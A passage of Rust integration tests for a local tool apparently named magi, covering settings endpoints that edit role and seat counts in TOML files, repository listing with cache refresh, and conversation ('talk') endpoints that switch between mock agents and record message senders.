11504                Questions::at(tmp.path().join("questions")),
11505                Talks::at(tmp.path().join("talks")),
11506                tmp.path().join("runs"),
11507                tmp.path().to_path_buf(),
11508                repo.clone(),
11509            )
11510            .with_machine_config(Some(machine.clone())),
11511        );
11512        let query = || {
11513            Query(SettingsQuery {
11514                repo: Some(selected.clone()),
11515            })
11516        };
11517        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11518        assert!(v.error.is_none(), "{:?}", v.error);
11519        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11520        assert_eq!(conductor.source, "repo");
11521        assert_eq!(
11522            conductor.machine_value,
11523            Some(toml::Value::String("a".into()))
11524        );
11525        assert!(!conductor.editable);
11526        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11527        assert_eq!(
11528            judges.count.as_ref().unwrap().machine_value,
11529            Some(toml::Value::Integer(1))
11530        );
11531        assert!(
11532            !v.roles
11533                .iter()
11534                .find(|r| r.key == "reviewers")
11535                .unwrap()
11536                .editable
11537        );
11538        let unknown = || {
11539            Query(SettingsQuery {
11540                repo: Some(tmp.path().to_path_buf()),
11541            })
11542        };
11543        assert_eq!(
11544            settings_get(State(ui.clone()), unknown())
11545                .await
11546                .unwrap_err()
11547                .status,
11548            StatusCode::UNPROCESSABLE_ENTITY
11549        );
11550        let body = || {
11551            Ok(Json(RolesBody {
11552                revision: v.revision.clone(),
11553                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11554                counts: Default::default(),
11555            }))
11556        };
11557        assert_eq!(
11558            settings_put_roles(State(ui.clone()), unknown(), body())
11559                .await
11560                .unwrap_err()
11561                .status,
11562            StatusCode::UNPROCESSABLE_ENTITY
11563        );
11564        assert_eq!(std::fs::read(&machine).unwrap(), before);
11565        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11566            .await
11567            .unwrap();
11568        assert_eq!(
11569            saved.repo,
11570            selected.canonicalize().unwrap().display().to_string()
11571        );
11572        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11573        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11574        // A cache miss refreshes the stable candidate list exactly for validation.
11575        let fresh = root.join("host/owner/fresh");
11576        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11577        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11578            .await
11579            .unwrap();
11580        assert_eq!(fresh_view.repositories.len(), 3);
11581    }
11582
11583    #[tokio::test]
11584    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11585        let (tmp, repo, machine) = settings_dirs(
11586            "[roles]\nreviewers = [\"a\"]\n",
11587            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11588        );
11589        let root = tmp.path().join("roots");
11590        let selected = root.join("host/owner/selected");
11591        settings_checkout(
11592            &selected,
11593            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11594        )
11595        .await;
11596        let broken = root.join("host/owner/broken");
11597        settings_checkout(&broken, "[roles\nbroken").await;
11598        let machine_text = format!(
11599            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11600            toml::Value::String(root.display().to_string())
11601        );
11602        std::fs::write(&machine, &machine_text).unwrap();
11603        let originals: Vec<_> = [&repo, &selected, &broken]
11604            .iter()
11605            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11606            .collect();
11607        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11608        let default = f.get("/api/settings").await.json();
11609        assert_eq!(
11610            default["repo"],
11611            repo.canonicalize().unwrap().display().to_string()
11612        );
11613        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11614        let query = format!("?repo={}", selected.display());
11615        let res = f.get(&format!("/api/settings{query}")).await;
11616        assert_eq!(res.status, 200, "{}", res.body);
11617        let v = res.json();
11618        assert!(v["error"].is_null(), "{v}");
11619        assert_eq!(v["repositories"], default["repositories"]);
11620        let role = |key: &str| {
11621            v["roles"]
11622                .as_array()
11623                .unwrap()
11624                .iter()
11625                .find(|r| r["key"] == key)
11626                .unwrap()
11627        };
11628        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11629        assert_eq!(role("advisors")["source"], "repo");
11630        assert_eq!(role("advisors")["editable"], false);
11631        assert!(role("advisors")["machine_value"].is_null());
11632        assert_eq!(role("judges")["count"]["value"], 2);
11633        assert_eq!(role("judges")["count"]["machine_value"], 1);
11634        assert_eq!(role("judges")["count"]["source"], "repo");
11635        let source = role("judges")["count"]["source_path"].as_str().unwrap();
11636        assert!(
11637            source.contains("origin/main") && !source.contains("magi/config/"),
11638            "{source}"
11639        );
11640        assert_eq!(
11641            role("reviewers")["editable"],
11642            false,
11643            "default context outside roots must protect its declarations"
11644        );
11645        let body =
11646            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11647        let unknown = format!("?repo={}", tmp.path().display());
11648        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11649        assert_eq!(
11650            f.put(&format!("/api/settings/roles{unknown}"), &body)
11651                .await
11652                .status,
11653            422
11654        );
11655        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11656        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11657            .to_string();
11658        assert_eq!(
11659            f.put(&format!("/api/settings/roles{query}"), &refuse)
11660                .await
11661                .status,
11662            422
11663        );
11664        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11665        assert_eq!(saved.status, 200, "{}", saved.body);
11666        assert_eq!(saved.json()["repo"], v["repo"]);
11667        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11668        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11669        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11670            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11671        }
11672        let error = f
11673            .get(&format!("/api/settings?repo={}", broken.display()))
11674            .await;
11675        assert_eq!(error.status, 200);
11676        assert!(error.json()["error"]["message"].is_string());
11677        assert_eq!(error.json()["repositories"], default["repositories"]);
11678    }
11679
11680    #[tokio::test]
11681    async fn settings_get_reports_sources_and_the_advisors_fallback() {
11682        let (_tmp, repo, machine) =
11683            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11684        let f = Fixture::with_repo_and_machine(repo, machine).await;
11685        let res = f.get("/api/settings").await;
11686        assert_eq!(res.status, 200, "{}", res.body);
11687        let v = res.json();
11688        assert!(v["error"].is_null(), "{v}");
11689        let role = |k: &str| {
11690            v["roles"]
11691                .as_array()
11692                .and_then(|r| r.iter().find(|x| x["key"] == k))
11693                .cloned()
11694                .unwrap_or_else(|| panic!("no role {k}: {v}"))
11695        };
11696        assert_eq!(role("judges")["source"], "machine");
11697        assert_eq!(role("judges")["editable"], true);
11698        assert_eq!(role("implementers")["source"], "default");
11699        let adv = role("advisors");
11700        assert_eq!(adv["fallback"], "judges");
11701        assert!(
11702            adv["seats"]
11703                .as_array()
11704                .is_some_and(|s| s.iter().all(|x| x == "b")),
11705            "{adv}"
11706        );
11707        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
11708        assert_eq!(v["agents"][0]["source"], "repo");
11709    }
11710
11711    #[tokio::test]
11712    async fn settings_get_reports_a_config_that_does_not_parse() {
11713        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
11714        let f = Fixture::with_repo_and_machine(repo, machine).await;
11715        let res = f.get("/api/settings").await;
11716        assert_eq!(res.status, 200, "{}", res.body);
11717        let v = res.json();
11718        assert!(v["error"]["message"].is_string(), "{v}");
11719        assert!(
11720            v["error"]["path"]
11721                .as_str()
11722                .is_some_and(|p| p.ends_with("magi.toml")),
11723            "{v}"
11724        );
11725        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
11726    }
11727
11728    #[tokio::test]
11729    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
11730        let (_tmp, repo, machine) = settings_dirs(
11731            SETTINGS_AGENTS,
11732            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
11733        );
11734        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
11735        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11736        let rev = f.get("/api/settings").await.json()["revision"]
11737            .as_str()
11738            .expect("revision")
11739            .to_owned();
11740        let body = serde_json::json!({
11741            "revision": rev,
11742            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
11743        })
11744        .to_string();
11745        let res = f.put("/api/settings/roles", &body).await;
11746        assert_eq!(res.status, 200, "{}", res.body);
11747        let text = std::fs::read_to_string(&machine).expect("machine");
11748        assert_eq!(
11749            text,
11750            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
11751        );
11752        assert_eq!(
11753            std::fs::read(repo.join("magi.toml")).expect("read"),
11754            repo_before
11755        );
11756        let again = f.get("/api/settings").await.json();
11757        let judges = again["roles"]
11758            .as_array()
11759            .expect("roles")
11760            .iter()
11761            .find(|r| r["key"] == "judges")
11762            .expect("judges")
11763            .clone();
11764        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
11765        // The old revision is now stale.
11766        let stale = f.put("/api/settings/roles", &body).await;
11767        assert_eq!(stale.status, 409, "{}", stale.body);
11768    }
11769
11770    #[tokio::test]
11771    async fn settings_counts_are_reported_and_saved() {
11772        let (_tmp, repo, machine) = settings_dirs(
11773            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
11774            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
11775        );
11776        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11777        let v = f.get("/api/settings").await.json();
11778        let count = |v: &serde_json::Value, k: &str| {
11779            v["roles"]
11780                .as_array()
11781                .and_then(|r| r.iter().find(|x| x["key"] == k))
11782                .map(|x| x["count"].clone())
11783                .unwrap_or_else(|| panic!("no role {k}: {v}"))
11784        };
11785        let imp = count(&v, "implementers");
11786        assert_eq!(imp["value"], 2);
11787        assert_eq!(imp["source"], "machine");
11788        assert_eq!(imp["file_key"], "candidates");
11789        assert_eq!(imp["roster_len"], 2);
11790        assert_eq!(imp["backups"], 0);
11791        assert_eq!(count(&v, "judges")["source"], "default");
11792        assert_eq!(count(&v, "advisors")["min"], 0);
11793        assert_eq!(count(&v, "reviewers")["editable"], false);
11794        assert!(
11795            count(&v, "reviewers")["locked_reason"]
11796                .as_str()
11797                .is_some_and(|m| m.contains("graph.reviewers"))
11798        );
11799        assert!(count(&v, "fixer").is_null());
11800        let rev = v["revision"].as_str().expect("revision").to_owned();
11801        let body = serde_json::json!({
11802            "revision": rev,
11803            "roles": { "judges": ["b"] },
11804            "counts": { "implementers": 1, "advisors": 0 }
11805        })
11806        .to_string();
11807        let res = f.put("/api/settings/roles", &body).await;
11808        assert_eq!(res.status, 200, "{}", res.body);
11809        let text = std::fs::read_to_string(&machine).expect("machine");
11810        assert_eq!(
11811            text,
11812            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
11813        );
11814        let after = f.get("/api/settings").await.json();
11815        assert_eq!(count(&after, "implementers")["value"], 1);
11816        assert_eq!(count(&after, "implementers")["backups"], 1);
11817        assert_eq!(count(&after, "advisors")["value"], 0);
11818        let before = std::fs::read_to_string(&machine).expect("machine");
11819        let rev = after["revision"].as_str().expect("revision").to_owned();
11820        for counts in [
11821            serde_json::json!({ "judges": 0 }),
11822            serde_json::json!({ "judges": "x" }),
11823            serde_json::json!({ "judges": 2.5 }),
11824            serde_json::json!({ "judges": -1 }),
11825            serde_json::json!({ "reviewers": 3 }),
11826            serde_json::json!({ "bogus": 3 }),
11827        ] {
11828            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
11829            let res = f.put("/api/settings/roles", &body).await;
11830            assert_eq!(res.status, 422, "{counts}: {}", res.body);
11831            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
11832        }
11833    }
11834
11835    #[tokio::test]
11836    async fn settings_put_refuses_without_touching_the_file() {
11837        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
11838        let (_tmp, repo, machine) = settings_dirs(
11839            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
11840            Some(machine_text),
11841        );
11842        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11843        let rev = f.get("/api/settings").await.json()["revision"]
11844            .as_str()
11845            .expect("revision")
11846            .to_owned();
11847        for roles in [
11848            serde_json::json!({ "judges": ["nope"] }),
11849            serde_json::json!({ "reviewers": ["b"] }),
11850            serde_json::json!({ "bogus": ["a"] }),
11851        ] {
11852            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
11853            let res = f.put("/api/settings/roles", &body).await;
11854            assert_eq!(res.status, 422, "{roles}: {}", res.body);
11855            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
11856            assert_eq!(
11857                std::fs::read_to_string(&machine).expect("machine"),
11858                machine_text
11859            );
11860        }
11861    }
11862
11863    #[tokio::test]
11864    async fn repos_list_returns_name_and_path_for_every_configured_root() {
11865        let tmp = TempDir::new().expect("tempdir");
11866        let repo = tmp.path().join("repo");
11867        std::fs::create_dir_all(&repo).expect("repo dir");
11868        let root = tmp.path().join("root");
11869        make_checkout(&root, "github.com", "yukimemi", "magi");
11870        std::fs::write(
11871            repo.join("magi.toml"),
11872            format!(
11873                "[repos]\nroots = [{:?}]\n",
11874                root.to_string_lossy().into_owned()
11875            ),
11876        )
11877        .expect("write magi.toml");
11878
11879        let f = Fixture::with_repo(repo).await;
11880        let res = f.get("/api/repos").await;
11881        assert_eq!(res.status, 200, "{}", res.body);
11882        let list = res.json();
11883        let repos = list.as_array().expect("an array");
11884        assert_eq!(repos.len(), 1);
11885        assert_eq!(repos[0]["name"], "yukimemi/magi");
11886        assert!(
11887            repos[0]["path"]
11888                .as_str()
11889                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
11890            "{list}"
11891        );
11892    }
11893
11894    #[tokio::test]
11895    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
11896        let tmp = TempDir::new().expect("tempdir");
11897        let repo = tmp.path().join("repo");
11898        std::fs::create_dir_all(&repo).expect("repo dir");
11899        let root = tmp.path().join("root");
11900        make_checkout(&root, "github.com", "yukimemi", "magi");
11901        std::fs::write(
11902            repo.join("magi.toml"),
11903            format!(
11904                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
11905                root.to_string_lossy().into_owned()
11906            ),
11907        )
11908        .expect("write magi.toml");
11909
11910        let f = Fixture::with_repo(repo).await;
11911        let first = f.get("/api/repos").await;
11912        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
11913
11914        // A second checkout appears; within the TTL the cached answer must
11915        // not notice it.
11916        make_checkout(&root, "github.com", "yukimemi", "rvpm");
11917        let second = f.get("/api/repos").await;
11918        assert_eq!(
11919            second.json().as_array().map(Vec::len),
11920            Some(1),
11921            "a fresh cache must not rescan inside the TTL"
11922        );
11923
11924        let refreshed = f.get("/api/repos?refresh=1").await;
11925        assert_eq!(
11926            refreshed.json().as_array().map(Vec::len),
11927            Some(2),
11928            "an explicit refresh must rescan even inside the TTL"
11929        );
11930    }
11931
11932    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
11933    /// string, declared straight in a repository's own `magi.toml` rather
11934    /// than the operator's real roster. No real agent CLI is spawned - `sh`
11935    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
11936    /// this is safe to run over a real HTTP round trip.
11937    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
11938
11939    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
11940    /// real `Config::discover` to find an agent - `talk::begin` resolves one
11941    /// even though it takes no turn, and `talk_say` invokes one.
11942    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
11943        let tmp = TempDir::new().expect("tempdir");
11944        let repo = tmp.path().join("repo");
11945        std::fs::create_dir_all(&repo).expect("repo dir");
11946        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11947        let f = Fixture::with_repo(repo.clone()).await;
11948        (tmp, repo, f)
11949    }
11950
11951    #[tokio::test]
11952    async fn posting_a_talk_with_remembered_choices_is_soft() {
11953        let (_tmp, _repo, f) = talk_fixture().await;
11954
11955        let good = f
11956            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
11957            .await;
11958        assert_eq!(good.status, 201, "{}", good.body);
11959        assert_eq!(good.json()["persona"], "rei");
11960
11961        // Wrong values and wrong types are dropped one by one, never a 4xx.
11962        let stale = f
11963            .post(
11964                "/api/talks",
11965                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
11966            )
11967            .await;
11968        assert_eq!(stale.status, 201, "{}", stale.body);
11969        let v = stale.json();
11970        assert_eq!(v["implementers"], 1);
11971        assert_ne!(v["persona"], "nobody");
11972        let typed = f
11973            .post(
11974                "/api/talks",
11975                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
11976            )
11977            .await;
11978        assert_eq!(typed.status, 201, "{}", typed.body);
11979
11980        // The strict `agent` field still refuses an unknown id.
11981        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
11982        assert!(
11983            !strict.status.to_string().starts_with('2'),
11984            "{}",
11985            strict.body
11986        );
11987    }
11988
11989    #[tokio::test]
11990    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
11991        let (_tmp, _repo, f) = talk_fixture().await;
11992
11993        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
11994        // is the ordinary way a phone opens a talk.
11995        let opened = f.post("/api/talks", None).await;
11996        assert_eq!(opened.status, 201, "{}", opened.body);
11997        let body = opened.json();
11998        assert_eq!(body["status"], "open");
11999        assert_eq!(
12000            body["turns"].as_array().unwrap().len(),
12001            0,
12002            "opening takes no agent turn: there is nothing yet to answer"
12003        );
12004
12005        // An explicit empty object is the same request as none at all.
12006        let also_opened = f.post("/api/talks", Some("{}")).await;
12007        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
12008
12009        let listed = f.get("/api/talks").await.json();
12010        assert_eq!(listed.as_array().unwrap().len(), 2);
12011    }
12012
12013    #[tokio::test]
12014    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
12015        let tmp = TempDir::new().expect("tempdir");
12016        let repo = tmp.path().join("repo");
12017        std::fs::create_dir_all(&repo).expect("repo dir");
12018        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
12019        std::fs::write(
12020            repo.join("magi.toml"),
12021            format!("{MOCK_AGENT_TOML}\n{second}"),
12022        )
12023        .expect("write magi.toml");
12024        let home = TempDir::new().expect("temp home");
12025        let talks = Talks::at(home.path().join("talks"));
12026        let ui = Arc::new(
12027            Ui::new(
12028                Queue::at(home.path().join("queue")),
12029                Questions::at(home.path().join("questions")),
12030                talks.clone(),
12031                home.path().join("runs"),
12032                home.path().to_path_buf(),
12033                repo.clone(),
12034            )
12035            .with_worktrees_root(home.path().join("wt")),
12036        );
12037        let cfg = config_for(&repo).await.expect("discover config");
12038        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12039        let id = talk.id.clone();
12040        let call = |agent: &str| {
12041            talk_agent(
12042                State(Arc::clone(&ui)),
12043                Path(id.clone()),
12044                Json(TalkAgent {
12045                    agent: agent.to_owned(),
12046                }),
12047            )
12048        };
12049
12050        let unknown = call("nobody").await.expect_err("unknown agent");
12051        assert_eq!(
12052            unknown.status,
12053            StatusCode::BAD_REQUEST,
12054            "{}",
12055            unknown.message
12056        );
12057
12058        {
12059            // Nothing refused so far took a claim, so the guard is free to take
12060            // and holding it is what makes the talk busy.
12061            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12062            let busy = call("second").await.expect_err("busy talk");
12063            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12064            assert!(
12065                busy.message.contains("a talk turn is running"),
12066                "{}",
12067                busy.message
12068            );
12069            drop(guard);
12070        }
12071        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
12072
12073        let Json(view) = call("second").await.expect("switch");
12074        assert_eq!(view.talk.agent, "second");
12075        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
12076        let saved = talks.get(&id).expect("reload");
12077        assert_eq!(saved.agent, "second");
12078        assert_eq!(saved.turns.len(), 1);
12079        assert!(!view.thinking);
12080        assert!(!ui.is_thinking(&id), "idle response must release the claim");
12081        for agent in ["mock", "second"] {
12082            let Json(view) = call(agent).await.expect("immediate consecutive change");
12083            assert_eq!(view.talk.agent, agent);
12084            assert!(!view.thinking);
12085            assert!(!ui.is_thinking(&id));
12086        }
12087
12088        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12089            .await
12090            .expect("detail");
12091        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
12092        assert_eq!(roster, ["mock", "second"]);
12093
12094        let mut closed = talks.get(&id).expect("reload");
12095        talk::close(&mut closed, &talks).expect("close");
12096        let refused = call("mock").await.expect_err("closed talk");
12097        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12098        assert!(
12099            refused.message.contains("takes no more turns"),
12100            "{}",
12101            refused.message
12102        );
12103    }
12104
12105    #[tokio::test]
12106    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
12107        let tmp = TempDir::new().expect("tempdir");
12108        let repo = tmp.path().join("repo");
12109        std::fs::create_dir_all(&repo).expect("repo dir");
12110        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12111        let home = TempDir::new().expect("temp home");
12112        let talks = Talks::at(home.path().join("talks"));
12113        let ui = Arc::new(
12114            Ui::new(
12115                Queue::at(home.path().join("queue")),
12116                Questions::at(home.path().join("questions")),
12117                talks.clone(),
12118                home.path().join("runs"),
12119                home.path().to_path_buf(),
12120                repo.clone(),
12121            )
12122            .with_worktrees_root(home.path().join("wt")),
12123        );
12124        let cfg = config_for(&repo).await.expect("discover config");
12125        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12126        let id = talk.id.clone();
12127        let call = |n: u8| {
12128            talk_implementers(
12129                State(Arc::clone(&ui)),
12130                Path(id.clone()),
12131                Json(TalkImplementers { implementers: n }),
12132            )
12133        };
12134
12135        for bad in [0u8, 4] {
12136            let e = call(bad).await.expect_err("out of range");
12137            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
12138        }
12139        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
12140
12141        {
12142            // Nothing refused so far took a claim, so the guard is free to take
12143            // and holding it is what makes the talk busy.
12144            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12145            let busy = call(2).await.expect_err("busy talk");
12146            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12147            assert!(
12148                busy.message.contains("a talk turn is running"),
12149                "{}",
12150                busy.message
12151            );
12152            drop(guard);
12153        }
12154
12155        let Json(view) = call(3).await.expect("switch");
12156        assert_eq!(view.talk.implementers, 3);
12157        assert!(talks.get(&id).expect("reload").implementers_dirty);
12158        assert!(!view.thinking);
12159        assert!(!ui.is_thinking(&id), "idle response must release the claim");
12160        for n in [1, 2, 3] {
12161            let Json(view) = call(n).await.expect("immediate consecutive change");
12162            assert_eq!(view.talk.implementers, n);
12163            assert!(!view.thinking);
12164            assert!(!ui.is_thinking(&id));
12165        }
12166
12167        let mut closed = talks.get(&id).expect("reload");
12168        talk::close(&mut closed, &talks).expect("close");
12169        let e = call(2).await.expect_err("closed talk");
12170        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
12171        assert!(e.message.contains("takes no more turns"), "{}", e.message);
12172    }
12173
12174    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
12175    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
12176        let tmp = TempDir::new().expect("tempdir");
12177        let repo = tmp.path().join("repo");
12178        std::fs::create_dir_all(&repo).expect("repo dir");
12179        std::fs::write(
12180            repo.join("magi.toml"),
12181            format!("{MOCK_AGENT_TOML}\n{extra}"),
12182        )
12183        .expect("write magi.toml");
12184        let home = TempDir::new().expect("temp home");
12185        let talks = Talks::at(home.path().join("talks"));
12186        let ui = Arc::new(
12187            Ui::new(
12188                Queue::at(home.path().join("queue")),
12189                Questions::at(home.path().join("questions")),
12190                talks.clone(),
12191                home.path().join("runs"),
12192                home.path().to_path_buf(),
12193                repo.clone(),
12194            )
12195            .with_worktrees_root(home.path().join("wt")),
12196        );
12197        let cfg = config_for(&repo).await.expect("discover config");
12198        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12199        (tmp, home, ui, talk.id, repo)
12200    }
12201
12202    #[tokio::test]
12203    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12204        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12205        let mut conversation = ui.talks.get(&id).unwrap();
12206        talk::record(
12207            &mut conversation,
12208            &ui.talks,
12209            "# Update on a task you filed\noperator words",
12210            vec![],
12211        )
12212        .unwrap();
12213        // Simulate an old operator record; headings do not prove authorship.
12214        conversation.turns[0].sender = None;
12215        conversation.turns[0].messages.clear();
12216        ui.talks.put(&mut conversation).unwrap();
12217        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12218        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12219        talk::drain(&mut conversation, &ui.talks).unwrap();
12220        talk::record_reply(
12221            &mut conversation,
12222            &ui.talks,
12223            "about that report",
12224            vec![],
12225            Some(talk::ReplyTarget {
12226                turn: 1,
12227                message: 1,
12228            }),
12229        )
12230        .unwrap();
12231        conversation.turns[2].messages[0]
12232            .reply
12233            .as_mut()
12234            .unwrap()
12235            .sender = None;
12236        conversation.turns.push(talk::Turn {
12237            sender: Some(talk::Sender::Persona),
12238            who: talk::Who::Agent,
12239            body: "magi: actual persona words".into(),
12240            at: Timestamp::now(),
12241            attachments: vec![],
12242            usage: None,
12243            breaks: None,
12244            messages: vec![],
12245            posted_by: None,
12246        });
12247        ui.talks.put(&mut conversation).unwrap();
12248        let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12249        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12250        assert_eq!(
12251            view.talk.turns[1].messages[0].sender,
12252            Some(talk::Sender::Operator)
12253        );
12254        assert_eq!(
12255            view.talk.turns[1].messages[1].sender,
12256            Some(talk::Sender::Magi)
12257        );
12258        assert_eq!(
12259            view.talk.turns[2].messages[0]
12260                .reply
12261                .as_ref()
12262                .unwrap()
12263                .sender,
12264            Some(talk::Sender::Magi)
12265        );
12266        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12267        assert_eq!(view.turn_messages_md[0].len(), 1);
12268        assert!(view.turn_messages_md[0][0].is_none());
12269        assert!(view.turn_messages_md[1][0].is_none());
12270        assert!(view.turn_messages_md[1][1].is_some());
12271    }
12272
12273    #[tokio::test]
12274    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12275        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12276        let mut conversation = ui.talks.get(&id).unwrap();
12277        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12278        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12279        talk::queue_notice(
12280            &mut conversation,
12281            &ui.talks,
12282            &body,
12283            "watch:123",
12284            &|_| false,
12285            None,
12286            display.clone(),
12287        )
12288        .unwrap();
12289        assert!(
12290            !talk::queue_notice(
12291                &mut conversation,
12292                &ui.talks,
12293                &body,
12294                "watch:123",
12295                &|_| false,
12296                None,
12297                display.clone()
12298            )
12299            .unwrap()
12300        );
12301        let saved = ui.talks.get(&id).unwrap();
12302        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12303        let view = TalkView::with_config(saved, false, None, &ui.home);
12304        assert!(
12305            view.talk.turns[0].messages[0].display.is_none(),
12306            "operator copy stays literal"
12307        );
12308        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12309        assert!(view.turn_messages_md[0][0].is_none());
12310        let queued_md = view.pending_messages_md[0].clone();
12311        assert_eq!(
12312            queued_md,
12313            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12314        );
12315        talk::drain(&mut conversation, &ui.talks).unwrap();
12316        talk::record_reply(
12317            &mut conversation,
12318            &ui.talks,
12319            "Explain",
12320            vec![],
12321            Some(talk::ReplyTarget {
12322                turn: 1,
12323                message: 0,
12324            }),
12325        )
12326        .unwrap();
12327        let mut saved = ui.talks.get(&id).unwrap();
12328        assert_eq!(saved.turns[1].messages[0].body, body);
12329        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12330        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12331        assert!(!reply.excerpt.contains("automatic report"));
12332        reply.excerpt = body.chars().take(240).collect(); // old saved quote
12333        saved.turns[1].messages[0].display = None; // old MAGI send
12334        ui.talks.put(&mut saved).unwrap();
12335        let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12336        assert_eq!(view.turn_messages_md[1][0], queued_md);
12337        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12338        assert!(
